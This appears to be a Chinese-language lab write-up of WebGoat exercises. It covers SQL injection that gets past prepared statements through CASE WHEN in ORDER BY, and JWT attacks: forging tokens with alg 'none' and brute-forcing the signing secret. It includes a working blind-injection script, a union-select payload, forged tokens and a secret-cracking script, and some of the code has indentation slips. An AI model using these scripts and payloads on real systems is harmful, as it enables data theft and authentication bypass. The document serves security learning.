JAVA安全-JWT 安全及预编译 CASE 注入


JAVA安全-JWT 安全及预编译 CASE 注入

JAVA中的sql注入

SQL Injection(mitigation)

防御 sql 注入,其实就是 session,参数绑定,存储过程这样的注入。

// 利用 session 防御,session 内容正常情况下是用户无法修改的 select * from users where user = "'" +
session.getAttribute("UserID") + "'";

// 参数绑定方式,利用了 sql 的预编译技术
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

上面说的方式也不是能够绝对的进行 sql 注入防御,只是减轻。

如参数绑定方式可以使用下面方式绕过。
通过使用 case when 语句可以将 order by 后的 orderExpression 表达式中添加 select 语句。(前提是必须存在order by)

Javaweb-SQL 注入攻击-预编译机制绕过(WebGoat靶场)

image-20220204205002145

点击ip排序

image-20220204205222142

将column参数随便改下看下报错

返回包中发现orderby可以使用case when 绕过

image-20220204210343988

使用脚本

import requests
from string import digits

chars = digits + "."
data1 = "username_reg=tomx'+union+select+password+from+sql_challenge_users+where+userid%3D'teom'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123"
headers = {'X-Requested-With': 'XMLHttpRequest'}
cookies = {
    'JSESSIONID': 'lCNtTT1xRD0U-7U8zcjIbyRXzLH_DAvz7jGuMvj0',
    'JSESSIONID.75fbd09e': '7mc1x9iei6ji4xo2a3u4kbz1'
}
i = 0
result = ""
proxy = {"http": "http://127.0.0.1:8888"}
while True:
    i += 1
    temp = result
    for char in chars:
        vul_url = "http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,{0},1)='{1}'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20mac%20end".format(i, char)
        resp = requests.get(vul_url, headers=headers, cookies=cookies, proxies=proxy)
        # print(resp.json())
        if 'webgoat-prd' in resp.json()[0]['hostname']:
            result += char
            print(result)
        	if temp == result:
            	break

image-20220204211625244

什么是 JWT?

JSON Web Token(JSON Web 令牌)是一种跨域验证身份的方案。JWT 不加密传输的数据,但能够通过数字签名来验证数据未被篡改

image-20220205224641299

JWT 分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。JWT 的内容以 Base64URL 进行了编码。签名在base64加密前使用密钥加密

image-20220205110312210

头部(Header)
{ 
"alg":"HS256",
"typ":"JWT"
}

alg是说明这个JWT 的签名使用的算法的参数,常见值用 HS256(默认),HS512 等,也可以为 None。HS256表示 HMAC SHA256。
typ说明这个 token 的类型为 JWT
声明(Claims)
{
"exp": 1416471934,
"user_name": "user", 
"scope": ["read", "write"],
"authorities": [ "ROLE_ADMIN", "ROLE_USER"],
"jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84", "client_id": "my-client-with-secret"
}

JWT 固定参数有: 
iss: 发 行 人 
exp: 到 期 时 间 
sub: 主 题   
aud: 用 户    
nbf:在此之前不可用iat:发布时间
jti:JWT ID 用于标识该 JWT
签名(Signature)
服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是 JWT 的签名。
下面是一个用 HS256 生成 JWT 的代码例子
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),secret)

1、用户端登录,用户名和密码在请求中被发往服务器
2、(确认登录信息正确后)服务器生成 JSON 头部和声明,将登录信息写入 JSON 的声明中(通常不应写入密码,因为 JWT 是不加密的),并用 secret 用指定算法进行加密,生成该用户的 JWT。此时,服务器并没有保存登录状态信息。
3、服务器将 JWT(通过响应)返回给客户端
4、用户下次会话时,客户端会自动将 JWT 写在 HTTP 请求头部的 Authorization 字段中
5、服务器对 JWT 进行验证,若验证成功,则确认此用户的登录状态
6、服务器返回响应

image-20220205111357736

案例

Javaweb-身份验证攻击-JWT 修改伪造攻击(WebGoat靶场)

#了解 JWT 传输过程,验证机制

#了解 JWT 结构,加解密过程及注意事项

image-20220205111928593

image-20220205112844469

点击切换用户

image-20220205112926183

抓包

image-20220205112938904

发现access_token值为空

再点击删除键

image-20220205113051705

image-20220205113106249

数据包中发现access_token值

到JSON Web Tokens - jwt.io解密看下

image-20220205114647600

发现"admin": "false",改为true就是管理员权限

但是这样还不行 我们的签名部分无法修改

注意:

问题来了,因为 JWT 的声明内容变了,因此签名需要重新生成,生成签名又需要密码,我们没有密码呀?不要慌,我们直接去掉签名就好~修改头部为 None

我们无法获取到密钥也就无法更改签名 那么我们就修改头部文件"alg":"HS256"改为"alg":"none"

image-20220205120229198

image-20220205120509791

签名部分我们采用不加密也就是要留空

在 HTTP 传输过程中,Base64 编码中的"=","+","/"等特殊符号通过 URL 解码通常容易产生歧义,因此产生了与 URL 兼容的 Base64 URL 编码

也就是jwt在传输的时候要删掉这些符号

最后结果

ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNjQ0ODk1ODIyLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.

完成

再把这串编码拿到burp中修改

攻击成功前提条件:服务器端没有验证是否有签名

Javaweb-身份验证攻击-JWT 密钥爆破攻击(WebGoat靶场)

image-20220205171436379

JWT cracking——爆破,需要使用python脚本进行爆破,前提需自备字典。字典够强,就可以跑出来——[m0re.txt - 蓝奏云 (lanzoux.com)](https://wws.lanzous.com/icZOyfpz24b)
可以用我现在用的这个试试。测试呢嘛,就直接在源码里找到密码插进去就行。

注意需要pip安装PyJWT

import termcolor
import jwt
if __name__ == "__main__":
    jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY0NDA1ODU2MCwiZXhwIjoxNjQ0MDU4NjIwLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.OaUiWkNbWlZ2I1owqEeGX1DXTBw3ZRH-Yf3GOX1mXtc'
    with open('?C:\\Users\\FATBOY\\Desktop\\m0re.txt') as f:
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str, verify=True, key=key_)
                print('\r', '\bfound it -->', termcolor.colored(key_, 'green'), '<--')
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('\r', '\bfound it -->', termcolor.colored(key_, 'green'), '<--')
                break
            except jwt.exceptions.InvalidSignatureError:
                print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                continue
        else:
            print('\r', '\bsorry! nothing be found.')

image-20220205185622947

脚本跑出来密匙为 business

继续去https://jwt.io/解密

image-20220205185819944

image-20220205205823502

Javaweb-身份验证攻击-JWT修改冒充伪造(WebGoat靶场)

image-20220205214813724

image-20220205214855195

查看日志

image-20220205214912474

发现token解密下

image-20220205214949819

更改失效时间

image-20220205215204437

使用第四关绕过签名的方法

image-20220205215938396

image-20220205215912616

payload

ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNTI2MTMxNDExLAogICJleHAiOiAxNjQ0MDc5MTAzLAogICJhZG1pbiI6ICJmYWxzZSIsCiAgInVzZXIiOiAiVG9tIgp9.

点击checkout抓包

image-20220205215549153

更改数据

image-20220205215817789

Javaweb-身份验证攻击-JWT安全结合SQL注入(WebGoat靶场)

参考:Java代码审计入门:WebGoat8(再会) - FreeBuf网络安全行业门户